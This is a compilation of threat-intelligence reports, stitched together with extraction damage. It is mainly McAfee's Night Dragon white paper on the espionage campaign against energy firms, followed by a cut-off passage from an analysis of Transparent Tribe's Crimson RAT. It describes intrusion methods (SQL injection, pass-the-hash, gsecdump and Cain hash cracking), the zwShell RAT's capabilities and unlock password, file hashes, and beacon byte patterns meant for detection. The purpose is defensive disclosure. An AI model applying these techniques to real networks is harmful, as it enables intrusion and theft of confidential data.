EC5B360F5FF6251A08A14A2E95C4CAA4 97576FA7A236679DBE3ABE1A4E852026 C1EC435E97A4A4C5585392D738B5879F 2559FE4EB88561138CE292DF5D0E099F 0ABF3FA976372CBC8BF33162795E42A8 1f1e9958440d773c34415d9eb6334b25 0B3B1E2E22C548D8F53C2AA338ABD66E 0AA7B256D2DCC8BD3914F895B134B225 B455426811B82CB412952F63D911D2A8 E431634699D7E5025ECDF7B51A800620 FF8E19CA8A224CC843BF0F2F74A3274E 7C5272F3F24ACB225270DDED72CFC1D4 8AEAA0C81A36449EC9613CA846E196F2 FC17F3B2E2C7F5F24D35899D95B8C4A6 926235FCF7B91442A405B5760A0729EB 963BFAE19B3DA5BECE081DFF1D1E3EF9 EBC9BDF9FDF0A9773899D96D24AC46F4 4A06D9989A8C3A9967C2011E5BAF3010 4DC0BCDCFB3F3D794175B21872A76079 998F30457BC48A1A6567203E0EC3282E 91FC9D1B635FDEE4E56AEC32688A0E6C 940B3ACDF1E26FCCCF74A5A0359FB079 cebc8b51d51e442e2af8c86e70c8adf4 31F96ADD841594D35E6E97376114E756 6E416C45A833F959A63785892042595A 0DC102CFB87C937EEFFE01A06F94E229 B7DF947B4A67A884C751840F83C4405E 2EB1503751A7C74890096B1837C7BD81 C21D7165B25CAF65D7F92FF758C1B5B1 0A67F9CC30083AFB7E1F8295AE152BB6 15FC009D9CAAA8F11D6C3DA2B69EA06E D9D1B0C467FA4999DEF6CD53447F1221 E9823B61E6CE999387DE821DFBF6E741 2AAD951DBECB6D4715B306B337CA5C34 ED53831468DDF4220E1DC3C3398F7F39 66DDF27517985A75B2317231B46A6F62 86BE5F0D2303FB4A8A8E297A53AC0026 A1187DE4C4B88E560D46940B820A6228 D14E0A3D408065B1551F2827B50B83CA B6C8A6D6C35428779C5C65C1B273EBA0 841565C67006E6A0A450C48054CF348C C8202523F35295E8BC8CC1731EDB0559 C03B5985F2504939DA9874246A439E25 216689B2CA82F16A0CAB3A2712C27DA6 5B740B4623B2D1049C0036A6AAE684B0 9C39D6F52E1E1BE5AE61BAB90971D054 E7E05001A294EBFE8A012DD3BCE78E96 F68F85B0FBCA450F0D5C8828063AD30D 3DA8C22F5340850EE5A2C25B1D17FC27 9D144A828F757A90B86976EF0C906B3F DBE2AC744A3947B6306E13EBCCB718BF 861C90536B3B5A4A8309ADBBFD5C4713 947557A55267DFFB3F85E0D7496A3679 2BFE41D7FDB6F4C1E38DB4A5C3EB1211 2BCDC5091C446E8B6888D802A3589E09 72FD6074915F8F123EB44B3DD475D36B 41454B390B73A45004B916B96C693312 Norman AS, November 2012 Summary Introduction The initial reported malware The digital signature Command Control The plot thickens Document metadata Conclusion References Appendix A: CC hostnames Appendix B: CC Timeline Appendix C: MD5 list, main cluster Global Energy Cyberattacks: Night Dragon By McAfee Foundstone Professional Services and McAfee Labs February 10, 2011 White Paper White Paper Global Energy Cyberattacks: Night Dragon Table of Contents Executive Summary 3 Anatomy of a Hack 3 Details of the Attack 4 Use of remote administration tools 7 Detection 7 Host Files and Registry Keys 8 Anti-virus Alerts 9 Network Communications 9 Additional Detection Techniques 11 McAfee Early Detection 11 McAfee Detection 12 McAfee Prevention 12 Conclusion 13 Credits and Acknowledgements 13 Appendix A: zwShell the RAT 13 Appendix B: Attribution 18 Version 1.4 Feb 11, 2011 03:30 PM 3 White Paper Global Energy Cyberattacks: Night Dragon Executive Summary In 2010, we entered a new decade in the world of cybersecurity. The prior decade was stained with immaturity, reactive technical solutions, and a lack of security sophistication that promoted critical outbreaks, such as Code Red, Nimda, Blaster, Sasser, SQL Slammer, Conficker, and myDoomto name a few. The security community has evolved and grown smarter about security, safe computing, and system hardening but so have our adversaries. This decade is setting up to be the exponential jumping off point. The adversaries are rapidly leveraging productized malware toolkits that let them develop more malware than in all prior years combined, and they have matured from the prior decade to release the most insidious and persistent cyberthreats ever known. The Google hacks (Operation Aurora), named by McAfee and announced in January 2010, and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent. Miscreants continue to infiltrate networks and exfiltrate sensitive and proprietary data upon which the worlds economies depend every day. When a new attack emerges, security vendors cannot stand by idly and watch. We are obligated to share our findings to protect those not yet impacted and to repair those who have been. As such, McAfee Foundstone Professional Services and McAfee Labs decided to release the following discovery. Starting in November 2009, coordinated covert and targeted cyberattacks have been conducted against global oil, energy, and petrochemical companies. These attacks have involved social engineering, spear- phishing attacks, exploitation of Microsoft Windows operating systems vulnerabilities, Microsoft Active Directory compromises, and the use of remote administration tools (RATs) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations. We have identified the tools, techniques, and network activities used in these continuing attacks which we have dubbed Night Dragon as originating primarily in China. Through coordinated analysis of the related events and tools used, McAfee has determined identifying features to assist companies with detection and investigation. While we believe many actors have participated in these attacks, we have been able to identify one individual who has provided the crucial CC infrastructure to the attackers. ( See Appendix B for more detail on attribution.) Anatomy of a Hack NIGHT DRAGON Global Energy Cyberattacks Extranet web servers compromised Gained access to sensitive internal desktops and servers Accessed additional usernames and passwords Enabled direct communication from infected machines to the Internet Exltrated email archives and other sensitive documents 1 2 3 4 5 Remote command execution Hacker tools uploaded to servers Further access to sensitive documents Disabled IE proxy settings Executives computers compromised Source: McAfee, Inc. Figure 1. Anatomy of a hack. http://www.mcafee.com/us/threat-center/operation-aurora.aspx http://blogs.mcafee.com/corporate/cto/got-wikileaks-call-a-mcafee-dlplumber http://www.foundstone.com/ http://www.mcafee.com/us/mcafee-labs.aspx 4 White Paper Global Energy Cyberattacks: Night Dragon The Night Dragon attacks work by methodical and progressive intrusions into the targeted infrastructure. The following basic activities were performed by the Night Dragon operation: Company extranet web servers compromised through SQL-injection techniques, allowing remote command execution Commonly available hacker tools are uploaded on compromised web servers, allowing attackers to pivot into the companys intranet and giving them access to sensitive desktops and servers internally Using password cracking and pass-the-hash tools, attackers gain additional usernames and passwords, allowing them to obtain further authenticated access to sensitive internal desktops and servers Initially using the companys compromised web servers as command and control (CC) servers, the attackers discovered that they needed only to disable Microsoft Internet Explorer (IE) proxy settings to allow direct communication from infected machines to the Internet Using the RAT malware, they proceeded to connect to other machines (targeting executives) and exfiltrating email archives and other sensitive documents Details of the Attack Attackers using several locations in China have leveraged CC servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil, gas, and petrochemical companies, as well as individuals and executives in Kazakhstan, Taiwan, Greece, and the United States to acquire proprietary and highly confidential information. The primary operational technique used by the attackers comprised a variety of hacker tools, including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker. RATs provide functions similar to Citrix or Microsoft Windows Terminal Services, allowing a remote individual to completely control the affected system. To deploy these tools, attackers first compromised perimeter security controls, through SQL-injection exploits of extranet web servers, as well as targeted spear-phishing attacks of mobile worker laptops, and compromising corporate VPN accounts to penetrate the targeted companys defensive architectures (DMZs and firewalls) and conduct reconnaissance of targeted companies networked computers. ( 1) Attacker crafts a HTTP GET request to inject commands to SQL server to gain system-level access (2) Malware is placed on server and used to harvest the local and Active Directory account credentials (4) Attacker uses RAT malware to conduct additional reconnaissance and systems compromises and to harvest condential data (3) Active Directory accounts are used to access network computers and plant RAT malware that connects with remote CC addresses. Internet Web CC SQL AD Figure 2. SQL-injection attacks. SQL Injection Attacks 5 White Paper Global Energy Cyberattacks: Night Dragon Many Chinese hacker websites offer these tools for download, including links to reduh, WebShell, ASPXSpy, and many others, plus exploits and zero-day malware. ( 1) Attacker sends a spear-phishing email containing a link to a compromised web server (4) Attacker uses RAT malware to conduct additional reconnaissance and systems compromises and to harvest condential data (3) User account information and host conguration information is sent to a CC server (2) User opens infected email and the compromised website is accessed a RAT is downloaded Internet Web CC Email Figure 3. Spear-phishing attacks. Figure 4. Rootkin.net.cn offers access to an endless list of hacker tools and exploits. Spear-Phishing Attacks 6 White Paper Global Energy Cyberattacks: Night Dragon Figure 5. WebShell and ASPXSpy tools allow an attacker to bypass many firewall rules to funnel all control through a companys web server. 7 White Paper Global Energy Cyberattacks: Night Dragon Once the initial system was compromised, the attackers compromised local administrator accounts and Active Directory administrator (and administrative users) accounts. The attackers often used common Windows utilities, such as SysInternals tools (acquired by Microsoft in 2006) and other publicly available software, including hacking tools developed in China and widely available on Chinese underground hacker websites to establish backdoors through reverse proxies and planted Trojans that allowed the attackers to bypass network and host security policies and settings. Desktop anti-virus and anti-spyware tools were also disabled in some instances a common technique of targeted attacks. Use of remote administration tools Remote administration tools (RATs) are commonly used administrative tools that allow hackers (and administrators) to manage victims computers (or managed systems) and completely control their use and function. A commonly used RAT in the hacker community is Gh0st and its many variants. RAT features often include screen and webcam spying, keystroke logging, mouse control, file/registry, and process management, and, of course, remote command shell capability. McAfee has identified several RATs that have been used to establish a persistent infiltration channel into compromised companies. One of the most prevalent RATs is zwShell, which McAfee has seen in the wild since the spring of 2010 (compiled on 2010-03-17 08:47:00). Written in the Delphi language, zwShell was used by attackers to both build custom variants of the Trojan that they deployed on dozens of machines within each victim company, as well as to control compromised machines that would initiate beacon connections to it on a custom protocol. Attackers used zwShell extensively to generate dozens of unique Trojan variants and to control the infected machines and exfiltrate sensitive data directly from them. ( See Appendix A for a breakdown of the zwShell.) Once the attackers had complete control of the targeted internal system, they dumped account hashes with gsecdump and used the Cain Abel tool to crack the hashes to leverage them in targeting ever more sensitive infrastructures. Files of interest focused on operational oil and gas field production systems and financial documents related to field exploration and bidding that were later copied from the compromised hosts or via extranet servers. In some cases, the files were copied to and downloaded from company web servers by the attackers. In certain cases, the attackers collected data from SCADA systems. Detection The methods and tools used in these attacks are relatively unsophisticated, as they simply appear to be standard host administration techniques, using standard administrative credentials. This is largely why they are able to evade detection by standard security software and network policies. Since the initial compromises, however, many individual unique signatures have been identified for the Trojan and associated tools by security vendors, including McAfee yet only through recent analysis and the discovery of common artifacts and evidence correlation have we been able to determine that a dedicated effort has been ongoing for at least two years, and likely as many as four. We can now associate the various signatures to these events. The following artifacts can help to determine whether a company has been compromised: Host files and/or registry keys Anti-virus alerts Network communications 8 White Paper Global Energy Cyberattacks: Night Dragon Host Files and Registry Keys Utility Description Command control application zwShell.exe 093640a69c8eafbc60343bf9cd1d3ad3 zwShell.exe 85df6b3e2c1a4c6ce20fc8080e0b53e9 Trojan dropper A packaged executable customized to each victim that includes the DLL file and configuration settings for installing the backdoor on the remote system. The dropper can be run from any directory and is usually executed with PSEXEC or an RDP session. Thus, related Windows Security Event logs provide useful information concerning compromised Active Directory accounts. These logs can be reviewed with Windows Event Log Manager or programs, such as Event Log Explorer or EnCase, which support search capabilities. When executed, the dropper creates a temporary file that is reflected in Windows update logs (KB.log files in c:\Windows folder). This is because the Windows Registry is modified by the dropper to create a netsvcs key. Accordingly, the date of the backdoor installation can be determined from a search of the KB log files. This temporary file is also identified in the backdoor DLL itself. The temporary file is usually some alphanumeric combination that includes gzg (for example, xgt0gzg) however, it has been seen with generic file names (for example, server.exe) as well. The dropper is deleted when the backdoor is installed, and the temporary file is removed when the computer is restarted. If a backdoor has already been configured on the system, the dropper installation will fail unless it uses a different configuration. Trojan backdoor Dynamic link libraries (DLLs), also appearing under many other names. These files have a correlated Windows Registry key that is determined by the dropper when the backdoor is installed. The dropper iterates through the Windows netsvcs registry keys and uses the first available key, indicating the path and filename of the backdoor in a ServiceDLL register. The backdoor operates as a service through a svchost.exe netsvcs k registry setting. The service key can be found under: HKLM\system\controlset\services\ The DLL is a system or hidden file, 19 KB to 23 KB in size and includes an XOR-encoded data section that is defined by the CC application when the dropper is created. It includes the network service identifier, registry service key, service description, mutex name, CC server address, port, and dropper temporary file name. The backdoor may operate from any configured TCP port. This DLL is specified in the ServiceDLL key in the related Windows netsvcs registry entry. The DLL is usually found in the System\System32 or System\SysWow64 directory. Trojan backdoor 2 startup.dll A6CBA73405C77FEDEAF4722AD7D35D60 Initially configured with the following: connect.dll 6E31CCA77255F9CDE228A2DB9E2A3855 Connect.dll creates the temporary file HostID.DAT, which is sent to the CC server, then downloads and configures related DLLs including: PluginFile.dll PluginScreen.dll PluginCmd.dll PluginKeyboard.dll PluginProcess.dll PluginService.dll PluginRegedit.dll Thereafter Startup.dll operates the service under a Windows Registry key. All communications seen so far with this version have been on ports 25 and 80 over TCP but can operate on any determined port. The service key is identified in the DLL (which does not include any encrypted data) as: HKLM\Software\RAT This DLL is usually found in the System\System32 directory however, it has also been found in other locations. The path to the backdoor DLL is indicated in the Windows Registry ServiceDLL key. This DLL uses a different CC application that may be an earlier version of zwShell, analysis continues. 9 White Paper Global Energy Cyberattacks: Night Dragon The Trojan components are manually copied or delivered through administrative utilities to remote systems. They do not include any worm or self-replicating features, nor can the Trojan infect other computers. Removing the Trojan components is simply a matter of deleting the related files and registry settings. The Trojan backdoor communicates with the CC server at the address hard-coded in each DLL. The CC server cannot modify the backdoor once it is installed related systems must have the Trojan file removed before a new backdoor DLL can be installed on the system. Thus, if the CC server address is changed, those servers that have the DLL with previous addresses must be remotely administered by the attacker. Anti-virus Alerts Anti-virus patterns are defined according to samples submitted by clients or analysts as they are discovered. Some Trojans exhibit characteristics of other types of malware, such as worms or viruses, that have the ability to infect other systems. RATs do not typically include such features, and, because they are defined with unique configurations for custom purposes, they commonly change faster than unique samples can be identified. Only when an entire RAT toolkit is found can we define an anti-virus pattern that is generic enough to detect the RAT regardless of configuration changes. The package necessarily includes the CC application server, the generator utility for creating droppers, related droppers, and backdoors and a sufficient number of each to correlate the toolkit. As mentioned previously, there have been several unique patterns developed from samples submitted to McAfee (as well as to other anti-virus vendors). Network Communications Network communications are relatively easy to detect because the malware uses a unique host beacon and server response protocol. Each communication packet between the compromised host and the CC server is signed with a plain text signature of hW. (or \x68\x57\x24\x13) at the byte offset 0x42 within the TCP packet. The backdoor begins its beacon at approximately five-second intervals with an initial packet that may be detected with the pattern: \x01\x50[\x00-\xff]\x68\x57\x24\x13. McAfee recommends that companies review McAfee ePolicy Orchestrator (McAfee ePO) software and anti-virus logs for NightDragon signature detections to identify related alerts since 2007 and then recover and resubmit these samples for analysis to investigate the related incidents. McAfee can assist with the analysis or provide instructions and tools for internal review. 10 White Paper Global Energy Cyberattacks: Night Dragon The server acknowledges the beacon with an initial response of \x01\x60[\x00-\xff]\x68\x57\x24\x13. The backdoor sends the password to the server in clear text after the server acknowledges the connection. While the backdoor and the server have an active connection, the backdoor will send keep-alive messages that can be detected with: \x03\x50[\x00-\xff]\x68\x57\x24\x13. 11 White Paper Global Energy Cyberattacks: Night Dragon The attackers use dynamic DNS Internet name services accounts to relay CC communications or temporarily associate DNS addresses with remote servers. Primary domains that have been used for CC traffic include (all of these have been used frequently by other malware): [xxxx].is-a-chef.com [xxxx].thruhere.net [xxxx].office-on-the.net [xxxx].selfip.com Note: The above hostnames (is-a-chef.comhttp://is-a-chef.com, thruhere.nethttp://thruhere.net, office- on-the.nethttp://office-on-the.net, selfip.comhttp://selfip.com) by themselves do not indicate malicious activity and there are plenty of legitimate subdomains that may use those hostnames. Communication to those hostnames should be carefully scrutinized but not necessarily raise alarm on its own Company extranet servers have also been used as either unique or secondary/redundant CC servers. In some instances, the attackers have (probably mistakenly) used droppers configured to compromise one companys computers in another companys computers. Additional Detection Techniques The backdoor beacons with its corresponding CC server as long as the related address is active. If the address is abandoned or unreachable, the backdoor stops beaconing after some undetermined interval. When a compromised computer is restarted, however, the beaconing begins again because it is registered as a service in the Windows Registry. Anti-virus may or may not detect the Trojan unless it is beaconing or a full file system scan is performed. McAfee Early Detection Customers can deploy a number of McAfee products to help protect information systems from the Night Dragon attack: McAfee Vulnerability Manager: Using agentless discovery and vulnerability checking to assess systems on your network, McAfee Vulnerability Manager is an enterprise-class vulnerability management system that will detect infected Night Dragon systems as well as the security weaknesses in systems that have been compromised. The wham-apt-nightdragon-detected-v7.fasl3 script will detect this threat remotely on systems. McAfee recommends that companies configure intrusion detection system (IDS) rules to detect the noted signatures (or employ the user-defined signature [UDS] BACKDOOR: NightDragon Communication Detected in McAfee Network Security Platform) and monitor DNS for outbound communications to dynamic DNS addresses resolving to or pathed back as suballocated to servers in China, where the companys name or common abbreviation forms the first part of the address. This may be difficult. However, if samples of the backdoor DLLs are found, DNS monitoring can help to identify other compromised hosts in the company network. McAfee also recommends that companies review web or IDS logs for file transfers to addresses registered in China. McAfee can assist with the analysis or provide instructions and tools for internal review. 12 White Paper Global Energy Cyberattacks: Night Dragon McAfee Policy Auditor: Using agent-based configuration audit checks to determine the most secure configuration of a system, McAfee Policy Auditor software detects the security weaknesses in the systems that have been compromised McAfee Risk Advisory (MRA): Properly deployed, McAfee Risk Advisor would have allowed administrators to see the misconfigurations and gap in security coverage that facilitated Night Dragons exploitation McAfee Detection Night Dragon also displays a pattern of correlated activities with an assortment of other software tools that McAfee can assist companies to identify. McAfee VirusScan Enterprise: Update your anti-virus .DATs to at least version 6232 and ensure that on-demand scans are working properly and perform a full file system virus scan. Review McAfee ePO software or anti-virus alerts and network logs for NightDragon signature detections to identify compromised systems. Please submit any related samples to virus_researchmcafee.com or submit on the web at https://www.webimmune.net/default.asp. McAfee Network Threat Response: McAfee Network Threat Response technology would have detected the malicious CC traffic and would have alerted administrators to the attack early, giving them time to react and prevent future damage Administrators can also download the following free tools from McAfee: McAfee Night Dragon Vulnerability Scanner based on McAfee Vulnerability Manager technology to scan their networks for the presence of malware McAfee Labs Stinger McAfee Prevention For complete prevention of this and most other attacks involving advanced persistent threats (APTs), customers can deploy application whitelisting and change/configuration control software on their critical servers. These technologies completely prevent the unauthorized running of DLLs/EXEs as well as the modification of registry keys, services, and more involved in all of todays APT and zero-day attacks. McAfee Application Control: McAfee Application Control software stops Night Dragon by not allowing the dropper files from executing (even as administrator on Windows), thereby preventing downloads of additional malware and the setup of CC channels that allowing RAT control and theft of sensitive files McAfee Configuration Control: McAfee Configuration Control software allows you to disallow any configuration changes to your systems, protecting them from being modified without explicit permission (even with administrative access) McAfee Database Activity Monitoring: delivers complete database protection including 0-day attacks and web born attacks such as those seen with SQL injection in Night Dragon.
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McAfee Network Security Platform: blocks malicious network activity such as APT command and control traffic. McAfee Enterprise Firewall: Properly installed and configured at the border and inside your organization, McAfee Firewall would have prevented the Night Dragon operation from penetrating so deeply into the affected organizations and would have blocked CC communication from the RAT McAfee Web Gateway: Properly installed and configured, McAfee Web Gateway would have prevented the Night Dragon operation from using their RATs, requiring them to proxy-enable their RATs or use alternative proxy-enabled RATs McAfee Endpoint Encryption: Properly installed and configured, McAfee Endpoint Encryption software reduces the impact of the Night Dragon attack by restricting access to the core targeted assets mailto:virus_research40mcafee.com?subject https://www.webimmune.net/default.asp http://www.mcafee.com/us/downloads/free-tools/index.aspx http://www.mcafee.com/us/products/vulnerability-manager.aspx http://www.mcafee.com/us/downloads/free-tools/how-to-use-stinger.aspx 13 White Paper Global Energy Cyberattacks: Night Dragon McAfee Data Loss Protection: Properly installed and configured, McAfee Network DLP and/or McAfee Host DLP solutions allow you to prevent and detect the extraction of sensitive information from outside the company McAfee Host Intrusion Prevention 8.0: McAfee Host Intrusion Prevention 8.0 software has introduced a new TrustedSource APT detection feature that allows enterprises to correlate endpoint executable activity with the network CC communication to detect and prevent RAT communications and data exfiltration activity McAfee VirusScan Enterprise: In addition to detecting associated malware and RATs on the endpoint, customers can also leverage access protection features in McAfee VirusScan Enterprise to prevent (and alert on) the creation of Night Dragon-related files and folder structures. Other built-in features such infection tracing and McAfee Global Threat Intelligence can assist with the identification and quarantining or removal of new and unknown associated malware and RATs. If you have discovered the presence of Night Dragon in your environment and would like incident-response or forensics assistance to respond and repair, please contact Foundstone Professional Services on incidentresponsefoundstone.com or submit any related samples to Virus_Researchavertlabs.com or on the web at McAfee Labs WebImmune. Conclusion Well-coordinated, targeted attacks such as Night Dragon, orchestrated by a growing group of malicious attackers committed to their targets, are rapidly on the rise. These targets have now moved beyond the defense industrial base, government, and military computers to include global corporate and commercial targets. While Night Dragon attacks focused specifically on the energy sector, the tools and techniques of this kind can be highly successful when targeting any industry. Our experience has shown that many other industries are currently vulnerable and are under continuous and persistent cyberespionage attacks of this type. More and more, these attacks focus not on using and abusing machines within the organizations being compromised, but rather on the theft of specific data and intellectual property. It is vital that organizations work proactively toward protecting the heart of their value: intellectual property. Enterprises need to take action to discover these assets in their environments, assess their configurations for vulnerabilities, and protect them from misuse and attack. For additional research and information, review Hacking Exposed: Network Secret and Solutions 6th Edition (Osborne McGraw-Hill). You can also visit http://www.hackingexposed.com for information on advanced hacker techniques and to sign up for Hacking Exposed monthly webinars. Credits and Acknowledgements The preceding white paper was a collaborative effort among numerous people and entities including McAfee Foundstone Professional Services consultants, McAfee Labs, McAfee employees, executives, and researchers, HBGary and National Cyber-Forensics Training Alliance (NCFTA). Significant contributors include Shane Shook, Dmitri Alperovitch, Stuart McClure, Georg Wicherski, Greg Hoglund, Shawn Bracken, Ryan Permeh, Vitaly Zaytsev, Mark Gilbert, Mike Spohn, George Kurtz, and Adam Meyers. mailto:incidentresponse40foundstone.com?subject mailto:Virus_Research40avertlabs.com?subject https://www.webimmune.net/default.asp http://www.hackingexposed.com 14 White Paper Global Energy Cyberattacks: Night Dragon Appendix A: zwShell the RAT Below is a walk-through of the capabilities of zwShell and a demonstration of how the attackers used zwShell as a command and control server to exfiltrate data from within the targeted companies. 1. When zwShell is launched, it presents a fake crash error to the user and contains a hidden text entry field below the Write of address 00000000. Process stopped line. By entering the password in the hidden dialog box above the ok button to launch the application requires typing a special password, zw.china. Without that password, the tool will not start. This obfuscation method is likely used to confuse investigators about the true purpose of this executable. 2. Once the error is bypassed, and zwShell is launched, it allows the attacker to create a custom Trojan by selecting the Server menu or to launch the CC server by clicking Start and entering the port to listen for traffic with the password used by the backdoor DLLs. Once started, the application will begin listening for incoming compromised client connections and display them inside the grid. The attacker can launch as many instances of the zwShell application as required as long as each listens to a different port or password. In this manner, multiple networks of compromised computers can be monitored. 3. The attacker can also click on the Options menu to configure the CC server settings. Those settings include selection of the listening port, the password that will encrypt the CC traffic (which must match the password selected at the time of the Trojan generation), the ability to specify custom sound notifications for when infected machines connect and disconnect from the CC server, and the ability to increase the color depth used for remote access to the machine, as well as an optional capability to allow resumes of interrupted file transfers from the client machine. The attacker can stop the listener and start with new options to monitor or connect with other compromised computers.
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16 White Paper Global Energy Cyberattacks: Night Dragon 6. When a client is executed, it connects to the attackers zwShell interface, along with its IP address, PC name, name of the logged-in user, and information about the operating system (OS) version of the machine, including the major patch levels. 7. The attacker in charge of the CC server can establish full remote control of the connected machine and can browse the file system, launch command-line shells, manipulate the registry, view the remote desktop, and uninstall the Trojan from the client. 8. Browsing the client file system is a fully interactive process and has a familiar user interface similar to Windows Explorer. Individual files and folders can be deleted, renamed, copied, downloaded, and uploaded to the remote machine. 17 White Paper Global Energy Cyberattacks: Night Dragon 9. A remote command-line shell can be launched to execute commands directly on the remote machine. When the attacker uses this function, a copy of CMD.EXE is copied to the compromised system in a Windows Temp directory with the filename svchost.exe. This copy is an unmodified version of the Microsoft Windows command shell executable. 10. The Registry can also be viewed and edited in a user interface similar to the Windows Registry editor. 18 White Paper Global Energy Cyberattacks: Night Dragon Appendix B: Attribution IMPORTANT: McAfee has no direct evidence to name the originators of these attacks but rather has provided circumstantial evidence. While we believe many actors have participated in these attacks, we have been able to identify one individual who has provided the crucial CC infrastructure to the attackers this individual is based in Heze City, Shandong Province, China. Although we dont believe this individual is the mastermind behind these attacks, it is likely this person is aware or has information that can help identify at least some of the individuals, groups, or organizations responsible for these intrusions. The individual runs a company that, according to the companys advertisements, provides Hosted Servers in the U.S. with no records kept for as little as 68 RMB (US10) per year for 100 MB of space. The companys U.S.-based leased servers have been used to host the zwShell CC application that controlled machines across the victim companies. Beyond the connection to the hosting services reseller operation, there is other evidence indicating that the attackers were of Chinese origin. Beyond the curious use of the zw.china password that unlocks the operation of the zwShell CC Trojan, McAfee has determined that all of the identified data exfiltration activity occurred from Beijing-based IP addresses and operated inside the victim companies weekdays from 9:00 a.m. to 5:00 p.m. Beijing time, which also suggests that the involved individuals were company men working on a regular job, rather than freelance or unprofessional hackers. In addition, the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums. These included Hookmsgina and WinlogonHack, tools that intercept Windows logon requests and hijack usernames and passwords. Figure 6. Shandong Province, China The information in this document is provided only for educational purposes and for the convenience of McAfee customers. The information contained herein is subject to change without notice, and is provided as is, without guarantee or warranty as to the accuracy or applicability of the information to any specific situation or circumstance. McAfee, the McAfee logo, McAfee Labs, McAfee Foundstone, McAfee ePolicy Orchestrator, McAfee ePO, McAfee Global Threat Intelligence, and McAfee VirusScan Enterprise are registered trademarks or trademarks of McAfee or its subsidiaries in the United States and other countries. Other marks and brands may be claimed as the property of others. Copyright 2011 McAfee 21401wp_night-dragon_0211 McAfee, Inc. 2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com White Paper Global Energy Cyberattacks: Night Dragon On the compromised web server, they also deployed ASPXSpy, a web-based remote administration tool, also of Chinese origin. There is nothing to suggest that the developers of these tools had any direct connection to these intrusions, as the tools are widely available on the Chinese web forums and tend to be used extensively by Chinese hacker groups. Although it is possible that all of these indicators are an elaborate red-herring operation designed to pin the blame for the attacks on Chinese hackers, we believe this to be highly unlikely. Further, it is unclear who would have the motivation to go to these extraordinary lengths to place the blame for these attacks on someone else. We have strong evidence suggesting that the attackers were based in China. Figure 7. Instructions on the use of WinlogonHack tool by its Chinese developers. Figure 8. Parts of the ASPXSpy code with attribution to the Chinese developer. Giampaolo Dedola Transparent Tribe: Evolution analysis, part 1 securelist.com/transparent-tribe-part-1/98127 Background and key findings Transparent Tribe, also known as PROJECTM and MYTHIC LEOPARD, is a highly prolific group whose activities can be traced as far back as 2013. Proofpoint published a very good article about them in 2016, and since that day, we have kept an eye on the group. We have periodically reported their activities through our APT threat intelligence reports, and subscribers of that service already know that in the last four years, this APT group has never taken time off. They continue to hit their targets, which typically are Indian military and government personnel. The TTPs have remained consistent over the years, and the group has constantly used certain tools and created new programs for specific campaigns. Their favorite infection vector is malicious documents with an embedded macro, which seem to be generated with a custom builder. Their main malware is a custom .NET RAT publicly known as Crimson RAT, but over the years, we also have observed the use of other custom .NET malware and a Python-based RAT known as Peppy. Over the past year, we have seen this group undergo an evolution, stepping up its activities, starting massive infection campaigns, developing new tools and strengthening their focus on Afghanistan. The summary of our recent investigations will be described in two blogposts. This first publication will cover the following key points: 1/17 https://securelist.com/transparent-tribe-part-1/98127/ https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101103/sl_transparent_tribe_01.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101157/sl_transparent_tribe_02.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101240/sl_transparent_tribe_03.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101354/sl_transparent_tribe_04.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101446/sl_transparent_tribe_05.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101523/sl_transparent_tribe_06.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101940/sl_transparent_tribe_09.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102019/sl_transparent_tribe_10.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102103/sl_transparent_tribe_11.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102230/sl_transparent_tribe_12.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102320/sl_transparent_tribe_13.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102406/sl_transparent_tribe_14.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105001/sl_transparent_tribe_15.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105104/sl_transparent_tribe_16.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105632/sl_transparent_tribe_19.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105713/sl_transparent_tribe_20.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105812/sl_transparent_tribe_21.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19110018/sl_transparent_tribe_22.png We discovered the Crimson Server component, the C2 used by Transparent Tribe for managing infected machines and conducting espionage. This tool confirmed most of our observations on Crimson RAT and helped us to understand the attackers perspective. Transparent Tribe continues to spread Crimson RAT, infecting a large number of victims in multiple countries, mainly India and Afghanistan. The USBWorm component is real, and it has been detected on hundreds of systems. This is malware whose existence was already speculated about years ago, but as far as we know, it has never been publicly described. I will be talking more about the TransparentTribe and its tools on GReAT Ideas. Powered by SAS webinar on August 26, you can register for it here: https://kas.pr/1gk9 Crimson Server Crimson is the main tool used by Transparent Tribe for their espionage activities. The tool is composed of various components, which are used by the attacker for performing multiple activities on infected machines: manage remote filesystems upload or download files capture screenshots perform audio surveillance using microphones record video streams from webcam devices capture screenshots steal files from removable media execute arbitrary commands record keystrokes steal passwords saved in browsers spread across systems by infecting removable media In the course of our analysis, we spotted a .NET file, identified by our products as Crimson RAT, but a closer look revealed that it was something different: a server-side implant used by the attackers to manage the client components. We found two different server versions, the one being a version that we named A, compiled in 2017, 2018 and 2019, and including a feature for installing the USBWorm component and executing commands on remote machines. The version that we named B was compiled in 2018 and again at the end of 2019. The existence of two versions confirms that this software is still under development and the APT group is working to enhance it. By analysing the .NET binary, we were able to set up a working environment and communicate with samples previously detected on victims machines. 2/17 https://kas.pr/1gk9 Crimson Server version A Main panel The first window is the main panel, which provides a list of infected machines and shows 